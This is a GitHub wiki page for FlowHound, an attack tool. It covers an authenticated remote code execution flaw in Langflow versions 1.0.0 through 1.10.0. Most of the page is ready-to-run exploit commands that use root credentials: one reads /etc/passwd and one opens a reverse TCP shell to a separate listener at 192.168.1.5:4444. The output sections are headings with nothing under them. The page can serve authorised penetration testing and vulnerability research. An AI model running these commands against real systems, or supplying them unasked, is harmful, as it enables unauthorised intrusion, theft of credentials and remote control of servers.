CVE‐2026‐7873 | Langflow Authenticated RCE Vulnerability - rmhowe425/FlowHound GitHub Wiki

CVE Description

CVE Description: Authenticated remote code execution vulnerability that allows an attacker to execute arbitrary code and read sensitive files including credentials, enabling complete system compromise and lateral movement.

Impacted Versions: Versions 1.0.0 through 1.10.0

Exploit Module

Default Mode

flowhound attack --url http://192.168.1.30:7860 --username root --password root --cve CVE-2026-7873

Execute Bash Command

flowhound attack --url http://192.168.1.30:7860 --username root --password root --cve CVE-2026-7873 --command "cat /etc/passwd"

Reverse TCP Persistent Connection

flowhound attack --url http://192.168.1.30:7860 --username root --password root --cve CVE-2026-7873 --reverse_shell 192.168.1.5:4444

FlowHound CLI Output

Ncat Output